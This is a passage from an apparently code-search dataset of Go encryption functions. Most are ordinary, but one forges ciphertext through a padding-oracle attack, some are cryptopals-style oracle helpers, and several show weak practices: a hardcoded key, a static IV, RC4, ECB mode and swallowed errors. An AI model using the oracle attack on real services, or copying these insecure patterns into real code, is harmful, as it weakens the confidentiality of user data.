err\n\t}\n\n\tciphertext, err := encryptBytes(key.Plaintext, []byte(plaintext))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tencrypted := &encrypted{keyCiphertext: key.Ciphertext, ciphertext: ciphertext}\n\treturn encrypted.encode(), nil\n\n}", "func (mkms MasterAliKmsCipher) Encrypt(plainData []byte) ([]byte, error) {\n\t// kms Plaintext must be base64 encoded\n\tbase64Plain := base64.StdEncoding.EncodeToString(plainData)\n\trequest := kms.CreateEncryptRequest()\n\trequest.RpcRequest.Scheme = \"https\"\n\trequest.RpcRequest.Method = \"POST\"\n\trequest.RpcRequest.AcceptFormat = \"json\"\n\n\trequest.KeyId = mkms.KmsID\n\trequest.Plaintext = base64Plain\n\n\tresponse, err := mkms.KmsClient.Encrypt(request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn base64.StdEncoding.DecodeString(response.CiphertextBlob)\n}", "func (c AESCBC) Encrypt(plainText []byte) []byte {\n\t// CBC mode always works in whole blocks.\n\tplainText = PadToMultipleNBytes(plainText, len(c.key))\n\tencryptedText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(c.block, c.iv)\n\n\tfor i := 0; i < len(plainText)/aes.BlockSize; i++ {\n\t\t// CryptBlocks can work in-place if the two arguments are the same.\n\t\tmode.CryptBlocks(encryptedText[i*aes.BlockSize:(i+1)*aes.BlockSize], plainText[i*aes.BlockSize:(i+1)*aes.BlockSize])\n\t}\n\treturn encryptedText\n}", "func Encriptar(text string) string {\n\thash, err := bcrypt.GenerateFromPassword([]byte(text), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tfmt.Println(\"no se pudo encriptar el text\")\n\t\treturn text\n\t}\n\treturn string(hash)\n}", "func encrypt(key string, plaintext string) string {\n\tvar iv = []byte{83, 71, 26, 58, 54, 35, 22, 11,\n\t\t83, 71, 26, 58, 54, 35, 22, 11}\n\tderivedKey := pbkdf2.Key([]byte(key), iv, 1000, 48, sha1.New)\n\tnewiv := derivedKey[0:16]\n\tnewkey := derivedKey[16:48]\n\tplaintextBytes := pkcs7Pad([]byte(plaintext), aes.BlockSize)\n\tblock, err := aes.NewCipher(newkey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tn := aes.BlockSize - (len(plaintext) % aes.BlockSize)\n\tciphertext := make([]byte, len(plaintext)+n*2)\n\tmode := cipher.NewCBCEncrypter(block, newiv)\n\tmode.CryptBlocks(ciphertext, plaintextBytes)\n\tcipherstring := base64.StdEncoding.EncodeToString(ciphertext[:len(ciphertext)-n])\n\treturn cipherstring\n}", "func EncryptString(plainText string, key []byte, iv []byte) []byte {\n\tplainTextAsBytes := []byte(plainText)\n\treturn Encrypt(plainTextAsBytes, key, iv)\n}", "func Encrypt(key, iv, plaintext []byte) string {\n if len(key) != 32 {\n log.Fatal(\"Key length must be 32 bytes\")\n }\n if len(iv) != 12 {\n log.Fatal(\"initialization vector must be 12 bytes\")\n }\n block, err := aes.NewCipher(key)\n if err != nil {\n log.Fatal(err)\n }\n gcm, _ := cipher.NewGCM(block)\n ciphertext := gcm.Seal(nil, iv, plaintext, nil)\n return base64.StdEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(key string, text string) (string, error) {\n\n // decode PEM encoding to ANS.1 PKCS1 DER\n block, _ := pem.Decode([]byte(key))\n pub, err := x509.ParsePKIXPublicKey(block.Bytes)\n pubkey, _ := pub.(*rsa.PublicKey) \n\n // create the propertiess\n message := []byte(text)\n label := []byte(\"\")\n hash := sha256.New()\n\n ciphertext, err := rsa.EncryptOAEP(hash, rand.Reader, pubkey, message, label)\n return string(base64.StdEncoding.EncodeToString(ciphertext)), err\n\n}", "func (e *gcm) Encrypt(base64Key, plainText string) (string, error) {\n\tkey, err := base64.StdEncoding.DecodeString(base64Key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText, err := e.encrypt([]byte(plainText), key)\n\tbase64CipherText := base64.StdEncoding.EncodeToString(cipherText)\n\treturn base64CipherText, err\n}", "func Encrypt(plaintext string) (string, error) {\n\treturn defaultEncryptor.Encrypt(plaintext)\n}", "func encryptCBC(plainText, key []byte) (cipherText []byte, err error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplainText = pad(aes.BlockSize, plainText)\n\n\tcipherText = make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\t_, err = io.ReadFull(cryptoRand.Reader, iv)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText[aes.BlockSize:], plainText)\n\n\treturn cipherText, nil\n}", "func (p *Polybius) Encipher(text string) string {\n\tchars := []rune(strings.ToUpper(text))\n\tres := \"\"\n\tfor _, char := range chars {\n\t\tres += p.encipherChar(char)\n\t}\n\treturn res\n}", "func Encrypt(key []byte, plaintext string) (string, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, 12)\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tplaintextbytes := []byte(plaintext)\n\tcipherStr := base64.StdEncoding.EncodeToString(aesgcm.Seal(nonce, nonce, plaintextbytes, nil))\n\treturn cipherStr, nil\n}", "func (t *Thread) Encrypt(data []byte) ([]byte, error) {\n\treturn crypto.Encrypt(t.PrivKey.GetPublic(), data)\n}", "func (connection *SSEConnection) SendText(payload []byte) {\n\tconnection.messageSendChannel <- payload\n}", "func encrypt(plainData string, secret []byte) (string, error) {\r\n\tcipherBlock, err := aes.NewCipher(secret)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\taead, err := cipher.NewGCM(cipherBlock)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonce := make([]byte, aead.NonceSize())\r\n\tif _, err = io.ReadFull(crt.Reader, nonce); err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\r\n}", "func encryptBytes(key []byte, plaintext []byte) ([]byte, error) {\n\t// Prepend 6 empty bytes to the plaintext so that the decryptor can verify\n\t// that decryption happened correctly.\n\tzeroes := make([]byte, numVerificationBytes)\n\tfulltext := append(zeroes, plaintext...)\n\n\t// Create the cipher and aead.\n\ttwofishCipher, err := twofish.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create twofish cipher: \" + err.Error())\n\t}\n\taead, err := cipher.NewGCM(twofishCipher)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create AEAD: \" + err.Error())\n\t}\n\n\t// Generate the nonce.\n\tnonce := make([]byte, aead.NonceSize())\n\t_, err = rand.Read(nonce)\n\tif err != nil {\n\t\treturn nil, errors.New(\"failed to generate entropy for nonce: \" + err.Error())\n\t}\n\n\t// Encrypt the data and return.\n\treturn aead.Seal(nonce, nonce, fulltext, nil), nil\n}", "func EncryptString(to_encrypt string, key_string string) string {\n\tkey := DecodeBase64(key_string)\n\tplaintext := []byte(to_encrypt)\n\t// create the cipher\n\tc, err := rc4.NewCipher(key)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: there was a key size error (my_server.go: EncryptString)\")\n\t\tfmt.Println(err) \n\t}\n\t// make a empty byte array to fill\n\tciphertext := make([]byte, len(plaintext))\n\t// create the ciphertext\n\tc.XORKeyStream(ciphertext, plaintext)\n\treturn EncodeBase64(ciphertext)\n}", "func (item *Item) encrypt(skey []byte) error {\n\tif len(skey) == 0 {\n\t\treturn errors.New(\"empty item key for encyption\")\n\t}\n\tif item.Content == \"\" {\n\t\treturn errors.New(\"empty plainText\")\n\t}\n\tkey := item.cipherKey(skey)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil\n\t}\n\tplainText := []byte(item.Content)\n\tcipherText := make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn errors.New(\"iv random generation error\")\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plainText)\n\titem.eContent = hex.EncodeToString(cipherText)\n\treturn nil\n}", "func (ec *Encrypter) Encrypt(plaintext []byte) ([]byte, error) {\n\tif plaintext == nil {\n\t\treturn nil, fmt.Errorf(\"invalid plaintext: nil\")\n\t}\n\n\t// Create a SHA-512 digest on the plain content to detect data tampering\n\tdigest := sha512.Sum512(plaintext)\n\tif len(digest) != sha512DigestLen {\n\t\treturn nil, fmt.Errorf(\"unexpected SHA512 hash length. Expected %d, got %d\", sha512DigestLen, len(digest))\n\t}\n\n\t// 1 byte space to store version\n\t// 1 byte space to store padding len once we have it\n\tlenContentToEncrypt := len(magicBytes) + 1 + 1 + len(digest) + len(plaintext)\n\n\t// As a block cipher, the content's length must be a multiple of the AES block size (16 bytes).\n\t// To achieve this, we add padding to the plain content so that its size matches.\n\tpaddingLen := 0\n\textra := lenContentToEncrypt % aes.BlockSize\n\tif extra != 0 {\n\t\tpaddingLen = aes.BlockSize - extra\n\t}\n\tlenContentToEncrypt += paddingLen\n\n\t// Copy the plain text content to the buffer\n\tcontentLen := ec.salt.Len() + lenContentToEncrypt\n\tcontent := make([]byte, contentLen)\n\ti := 0\n\ti += copy(content[i:], ec.salt)\n\ti += copy(content[i:], magicBytes)\n\tcontent[i] = byte(version)\n\ti++\n\tcontent[i] = byte(paddingLen)\n\ti++\n\ti += copy(content[i:], make([]byte, paddingLen))\n\ti += copy(content[i:], digest[:])\n\ti += copy(content[i:], plaintext)\n\tif i != contentLen {\n\t\tlog.Panicf(\"Unexpected encryption error: expected length of copied plain content to be %d, got %d\\n\", contentLen, i)\n\t}\n\n\t// Encrypt supports in-place encryption.\n\t// Note that we don't encrypt the salt as we need it for decrypting.\n\tec.cipher.Encrypt(content[ec.salt.Len():], content[ec.salt.Len():], xtsSectorNum)\n\n\treturn content, nil\n}", "func (cs CryptoService) Encrypt(plain []byte) (cipher []byte, err error) {\n\tif len(plain) == 0 {\n\t\treturn nil, errors.New(\"vbcore/CryptoService: no content to encrypt\")\n\t}\n\n\tnonce, err := CryptoGenBytes(cs.gcm.NonceSize())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipher = cs.gcm.Seal(nil, nonce, plain, nil)\n\tcipher = append(nonce, cipher...)\n\n\treturn cipher, nil\n}", "func Encrypt(msg []byte, key []byte) []byte {\n\n\tpaddedMsg := challenge_9.PadMessage(msg, len(key))\n\tcipherText := make([]byte, len(paddedMsg))\n\n\tcipherText = challenge_11.EcbEncrypt(paddedMsg, key)\n\treturn cipherText\n}", "func (o *CTROracle) Encrypt(plaintext string) []byte {\n\ttemp := strings.Replace(plaintext, \"=\", \"'='\", -1)\n\tsanitized := strings.Replace(temp, \";\", \"';'\", -1)\n\ttoEncrypt := \"comment1=cooking%20MCs;userdata=\" + sanitized + \";comment2=%20like%20a%20pound%20of%20bacon\"\n\n\tctr := stream.NewCTR(o.Key, o.Nonce)\n\treturn ctr.Encrypt([]byte(toEncrypt))\n}", "func encrypt(plainData string, secret []byte) (string, error) {\n\tcipherBlock, err := aes.NewCipher(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taead, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, aead.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\n}", "func encrypt(msg []byte, k key) (c []byte, err error) {\n\tnonce, err := randomNonce()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tc = box.SealAfterPrecomputation(c, msg, nonce, k)\n\tc = append((*nonce)[:], c...)\n\treturn c, nil\n}", "func encrypt(msg string) string {\n\tencryptionPassphrase := []byte(Secret)\n\tencryptionText := msg\n\tencryptionType := \"PGP SIGNATURE\"\n\n\tencbuf := bytes.NewBuffer(nil)\n\tw, err := armor.Encode(encbuf, encryptionType, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tplaintext, err := openpgp.SymmetricallyEncrypt(w, encryptionPassphrase, nil, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tmessage := []byte(encryptionText)\n\t_, err = plaintext.Write(message)\n\n\tplaintext.Close()\n\tw.Close()\n\t//fmt.Printf(\"Encrypted:\\n%s\\n\", encbuf)\n\treturn encbuf.String()\n}", "func encrypt(decoded string, key []byte) (string, error) {\n\tplainText := []byte(anchor + decoded)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn decoded, err\n\t}\n\tcipherText := make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn decoded, err\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plainText)\n\tencoded := base64.URLEncoding.EncodeToString(cipherText)\n\treturn encoded, nil\n}", "func Encrypt(plaintext, key string) (string, error) {\n\n\tvar ciphertext []byte\n\tvar err error\n\n\tciphertext, err = encrypt([]byte(plaintext), []byte(key))\n\n\treturn base64.StdEncoding.EncodeToString(ciphertext), err\n}", "func Encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\n\tc, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipherText := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\n\tstream := cipher.NewCTR(c, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], plaintext)\n\treturn cipherText, nil\n}", "func (t *CryptoHandler) encryptInline(plain []byte, key, tfvf string, dblEncrypt bool, exclWhitespace bool) ([]byte, error) {\n\n\tif !dblEncrypt {\n\t\tr := regexp.MustCompile(thCryptoWrapRegExp)\n\t\tm := r.FindSubmatch(plain)\n\t\tif len(m) >= 1 {\n\t\t\treturn nil, newCryptoWrapError(errMsgAlreadyEncrypted)\n\t\t}\n\t}\n\n\ttfvu := NewTfVars(tfvf, exclWhitespace)\n\tinlineCreds, err := tfvu.Values()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinlinedText := string(plain)\n\tfor _, v := range inlineCreds {\n\t\tct, err := t.Encrypter.Encrypt(key, []byte(v))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinlinedText = strings.Replace(inlinedText, v, string(ct), -1)\n\t}\n\n\treturn []byte(inlinedText), nil\n}", "func (cfg *Config) Encrypt(data []byte) (string, error) {\n // load public key\n pubKey, err := x509.ParsePKCS1PublicKey(cfg.pubPem.Bytes)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to read public key: %v\", err)\n }\n\n // generate a random content encryption key (CEK), build an AES GCM cipher, encrypt the data\n cek := make([]byte, 32)\n rand.Read(cek)\n cipherBlock, err := aes.NewCipher(cek)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to create AES cipher block: %v\", err)\n }\n gcm, err := cipher.NewGCM(cipherBlock)\n if err != nil {\n return \"\", fmt.Errorf(\"failed to create GCM cipher: %v\", err)\n }\n nonce := make([]byte, gcm.NonceSize())\n rand.Read(nonce)\n cipherText := gcm.Seal(nil, nonce, data, nil)\n\n // encrypt the CEK, then encode the ECEK and cipher text as JSON\n ecek, err := rsa.EncryptOAEP(sha256.New(), rand.Reader, pubKey, cek, make([]byte, 0))\n if err != nil {\n return \"\", fmt.Errorf(\"failed to encrypt CEK: %v\", err)\n }\n jsonBytes, _ := json.Marshal(encryptedFileJSON{\n ECEK: base64.StdEncoding.EncodeToString(ecek),\n CipherText: base64.StdEncoding.EncodeToString(cipherText),\n Nonce: base64.StdEncoding.EncodeToString(nonce),\n })\n\n id, _ := uuid.NewV4()\n if err := ioutil.WriteFile(cfg.getOutFilePath(id.String()), jsonBytes, os.ModePerm); err != nil {\n return \"\", fmt.Errorf(\"failed to store encrypted data: %v\", err)\n }\n return id.String(), nil\n}", "func (t *CryptoHandler) Encrypt(ctx *CryptoHandlerOpts) error {\n\treturn t.applyCryptoAction(ctx,\n\t\tfunc(ctx *CryptoHandlerOpts, ci Transformable) error { return t.encrypt(ctx, ci) })\n}", "func encrypt(plaintext []byte) []byte {\n IV := genRandomBytes(ivLen)\n ciphertext := aead.Seal(nil, IV, plaintext, nil)\n\n return append(IV[:], ciphertext[:]...)\n}", "func Encrypt(key string, plaintext string) (string, error) {\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := FunctionReadfull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream, err := FunctionEncryptStream(key, iv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], []byte(plaintext))\n\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "func (i *GPG) Encrypt(\n\tkeys []string,\n\tb []byte,\n) ([]byte, error) {\n\treturn i.cli.Encrypt(i.ctx, b, keys)\n}", "func (c *Client) EncryptData(cc string) (string, error) {\n\turl := fmt.Sprintf(\"%s/v1/transit/encrypt/web\", c.addr)\n\n\t// base64 encode\n\tbase64cc := base64.StdEncoding.EncodeToString([]byte(cc))\n\n\tdata, _ := json.Marshal(EncryptRequest{Plaintext: base64cc})\n\tr, _ := http.NewRequest(http.MethodPost, url, bytes.NewReader(data))\n\tr.Header.Add(\"X-Vault-Token\", c.token)\n\n\tresp, err := http.DefaultClient.Do(r)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn \"\", fmt.Errorf(\"Vault returned reponse code %d, expected status code 200\", resp.StatusCode)\n\t}\n\n\ttr := &EncryptResponse{}\n\terr = json.NewDecoder(resp.Body).Decode(tr)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn tr.Data.CipherText, nil\n}", "func (k *EncryptionKey) Encrypt(plaintext []byte) ([]byte, error) {\n\treturn encrypt(plaintext, k.pk)\n}", "func (t *Crypto) Encrypt(msg, aad []byte, kh interface{}) ([]byte, []byte, error) {\n\tkeyHandle, ok := kh.(*keyset.Handle)\n\tif !ok {\n\t\treturn nil, nil, errBadKeyHandleFormat\n\t}\n\n\tps, err := keyHandle.Primitives()\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"get primitives: %w\", err)\n\t}\n\n\ta, err := aead.New(keyHandle)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"create new aead: %w\", err)\n\t}\n\n\tct, err := a.Encrypt(msg, aad)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"encrypt msg: %w\", err)\n\t}\n\n\t// Tink appends a key prefix + nonce to ciphertext, let's remove them to get the raw ciphertext\n\tivSize := nonceSize(ps)\n\tprefixLength := len(ps.Primary.Prefix)\n\tcipherText := ct[prefixLength+ivSize:]\n\tnonce := ct[prefixLength : prefixLength+ivSize]\n\n\treturn cipherText, nonce, nil\n}", "func (wa *WzAES) Encrypt(plaintext []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(wa.key[:])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnonce := make([]byte, gcm.NonceSize())\n\t_, err = io.ReadFull(rand.Reader, nonce)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn gcm.Seal(nonce, nonce, plaintext, nil), nil\n}", "func encryptConfig(key []byte, clearText []byte) (string, error) {\n\tsecret := &AESSecret{}\n\tcipherBlock, err := initBlock()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce, err := randomNonce(12)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.Nonce = nonce\n\n\tgcm, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.CipherText = gcm.Seal(nil, secret.Nonce, clearText, nil)\n\n\tjsonSecret, err := json.Marshal(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(jsonSecret), nil\n}", "func SendPlainText(w http.ResponseWriter, text string, code int) {\n\tw.WriteHeader(code)\n\tw.Header().Set(\"Content-Type\", \"text/plain\")\n\tw.Write([]byte(text))\n}", "func (a *AES) Encrypt() []byte {\n\treturn aesCrypt(a, a.key)\n}", "func (em *EncrypterManager) Encrypt(data []byte) []byte {\n\treturn em.Encrypter.Encrypt(data)\n}", "func (t *Crypto) Encrypt(msg, aad []byte, kh interface{}) ([]byte, []byte, error) {\n\tkeyHandle, ok := kh.(*keyset.Handle)\n\tif !ok {\n\t\treturn nil, nil, errors.New(\"bad key handle format\")\n\t}\n\n\ta, err := aead.New(keyHandle)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"create new aead: %w\", err)\n\t}\n\n\tct, err := a.Encrypt(msg, aad)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"encrypt msg: %w\", err)\n\t}\n\n\tps, err := keyHandle.Primitives()\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"get primitives: %w\", err)\n\t}\n\n\t// Tink appends a key prefix + nonce to ciphertext, let's remove them to get the raw ciphertext\n\tivSize := nonceSize(ps)\n\tprefixLength := len(ps.Primary.Prefix)\n\tcipherText := ct[prefixLength+ivSize:]\n\tnonce := ct[prefixLength : prefixLength+ivSize]\n\n\treturn cipherText, nonce, nil\n}", "func EncryptThis(text string) string {\n\n\tif len(text) == 0 {\n\t\treturn text\n\t}\n\n\tstr := strings.Split(text, \" \")\n\n\tstrEncrypt := \"\"\n\n\tfor _, v := range str {\n\n\t\tstrEncrypt += fmt.Sprintf(\"%s \", encryptThis(v))\n\n\t}\n\n\treturn strings.TrimSpace(strEncrypt)\n}", "func (s *Server) Encrypt(data []byte) ([]byte, []byte, error) {\n\n\t// obtain aesKey\n\taesKey, err := getAESKey()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Create a new Cipher Block from the key\n\tblock, err := aes.NewCipher(aesKey)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Create a new GCM\n\taesGCM, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Create a nonce. Nonce should be from GCM\n\tnonce := make([]byte, aesGCM.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t//Encrypt the data using aesGCM.Seal within the record\n\tdata = aesGCM.Seal(nonce, nonce, data, nil)\n\n\treturn data, aesKey, nil\n\n}", "func (t *DefaultTpke) Encrypt(msg []byte) ([]byte, error) {\n\tencrypted, err := t.publicKey.Encrypt(msg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn encrypted.Serialize(), nil\n}", "func (e aesGCMEncodedEncryptor) Encrypt(plaintext string) (ciphertext string, err error) {\n\tif len(e.primaryKey) < requiredKeyLength {\n\t\treturn \"\", &EncryptionError{errors.New(\"primary key is unavailable\")}\n\t}\n\n\tcipherbytes, err := gcmEncrypt([]byte(plaintext), e.primaryKey)\n\tif err != nil {\n\t\treturn \"\", &EncryptionError{errors.Errorf(\"unable to encrypt: %v\", err)}\n\t}\n\n\tciphertext = base64.StdEncoding.EncodeToString(cipherbytes)\n\treturn e.PrimaryKeyHash() + separator + ciphertext, nil\n}", "func (s *SideTwistHandler) encryptAndEncode(data []byte) string {\n\tencryptedData := s.encryptFn(data)\n\treturn base64.StdEncoding.EncodeToString(encryptedData)\n}", "func EciesEncrypt(sender *Account, recipentPub string, plainText []byte, iv []byte) (content string, err error) {\n\n\t// Get the shared-secret\n\t_, secretHash, err := EciesSecret(sender, recipentPub)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\thashAgain := sha512.New()\n\t_, err = hashAgain.Write(secretHash[:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tkeys := hashAgain.Sum(nil)\n\tkey := append(keys[:32]) // first half of sha512 hash of secret is used as key\n\tmacKey := append(keys[32:]) // second half as hmac key\n\n\t// Generate IV\n\tvar contentBuffer bytes.Buffer\n\tif len(iv) != 16 || bytes.Equal(iv, make([]byte, 16)) {\n\t\tiv = make([]byte, 16)\n\t\t_, err = rand.Read(iv)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\tcontentBuffer.Write(iv)\n\n\t// AES CBC for encryption,\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tcbc := cipher.NewCBCEncrypter(block, iv)\n\n\t//// create pkcs#7 padding\n\tplainText = append(plainText, func() []byte {\n\t\tpadLen := block.BlockSize() - (len(plainText) % block.BlockSize())\n\t\tpad := make([]byte, padLen)\n\t\tfor i := range pad {\n\t\t\tpad[i] = uint8(padLen)\n\t\t}\n\t\treturn pad\n\t}()...)\n\n\t// encrypt the plaintext\n\tcipherText := make([]byte, len(plainText))\n\tcbc.CryptBlocks(cipherText, plainText)\n\tcontentBuffer.Write(cipherText)\n\n\t// Sign the message using sha256 hmac, *second* half of sha512 hash used as key\n\tsigner := hmac.New(sha256.New, macKey)\n\t_, err = signer.Write(contentBuffer.Bytes())\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsignature := signer.Sum(nil)\n\tcontentBuffer.Write(signature)\n\n\t// base64 encode the message, and it's ready to be embedded in our FundsReq.Content or RecordSend.Content fields\n\tb64Buffer := bytes.NewBuffer([]byte{})\n\tencoded := base64.NewEncoder(base64.StdEncoding, b64Buffer)\n\t_, err = encoded.Write(contentBuffer.Bytes())\n\t_ = encoded.Close()\n\treturn string(b64Buffer.Bytes()), nil\n}", "func (e ECBEncryptionOracle) Encrypt(myString []byte) []byte {\n\treturn e.ecb.Encrypt(append(e.prepend, append(myString, e.unknownString...)...))\n}", "func (e *cbcPKCS5Padding) Encrypt(base64Key, plainText string) (string, error) {\n\tkey, err := base64.StdEncoding.DecodeString(base64Key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText, err := e.encrypt([]byte(plainText), key)\n\tbase64CipherText := base64.StdEncoding.EncodeToString(cipherText)\n\treturn base64CipherText, err\n}", "func (a *Age) Encrypt(ctx context.Context, plaintext []byte, recipients []string) ([]byte, error) {\n\t// add our own public key\n\tpks, err := a.pkself(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trecp, err := a.parseRecipients(ctx, recipients)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trecp = append(recp, pks)\n\treturn a.encrypt(plaintext, recp...)\n}", "func (c *Conn) SendPlainText(to []string, from, subj, plaintext string) error {\n\treturn c.conn.SendPlainText(to, from, subj, plaintext)\n}", "func (f genHelperEncoder) EncTextMarshal(iv encoding.TextMarshaler) {\n\tbs, fnerr := iv.MarshalText()\n\tf.e.marshalUtf8(bs, fnerr)\n}", "func encrypt(contents []byte) ([]byte, error) {\n\tvar spider_key = []byte(\"cloud-barista-cb-spider-cloud-ba\") // 32 bytes\n\n\tencryptData := make([]byte, aes.BlockSize+len(contents))\n\tinitVector := encryptData[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, initVector); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcipherBlock, err := aes.NewCipher(spider_key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcipherTextFB := cipher.NewCFBEncrypter(cipherBlock, initVector)\n\tcipherTextFB.XORKeyStream(encryptData[aes.BlockSize:], []byte(contents))\n\n\treturn encryptData, nil\n}", "func Encrypt(payload []byte, q Poracle, l *log.Logger) ([]byte, error) {\n\tpayload = crypto.PCKCS5Pad(payload)\n\tn := len(payload) / CipherBlockLen\n\n\t// The clear text have the same length as the cyphertext - 1\n\t// (the IV).\n\tvar im []byte\n\tvar c1 = make([]byte, CipherBlockLen, CipherBlockLen)\n\tvar c0 = make([]byte, CipherBlockLen, CipherBlockLen)\n\n\t// Last block of the encrypted value is not related to the\n\t// text to encrypt, can contain any value.\n\tvar c []byte\n\tc = append(c, c1...)\n\tfor i := n - 1; i >= 0; i-- {\n\t\tdi, err := decryptBlock(c0, c1, q, l)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tmi := di\n\t\tim = append(im, mi...)\n\t\tti := payload[CipherBlockLen*i : (CipherBlockLen*i)+CipherBlockLen]\n\t\tc1 = crypto.BlockXOR(ti, mi)\n\t\tc = append(c1, c...)\n\t}\n\treturn c, nil\n}", "func Encrypt(plaintext []byte, key []byte) ([]byte, error) {\n\t// Get cipher object with key\n\taesgcm, err := getCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Generate nonce\n\tnonce := make([]byte, aesgcm.NonceSize())\n\tif _, err := rand.Read(nonce); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Encrypt data\n\tciphertext := aesgcm.Seal(nil, nonce, plaintext, nil)\n\n\treturn append(nonce, ciphertext...), nil\n}", "func (c *Ctx) Text(code int, s string) error 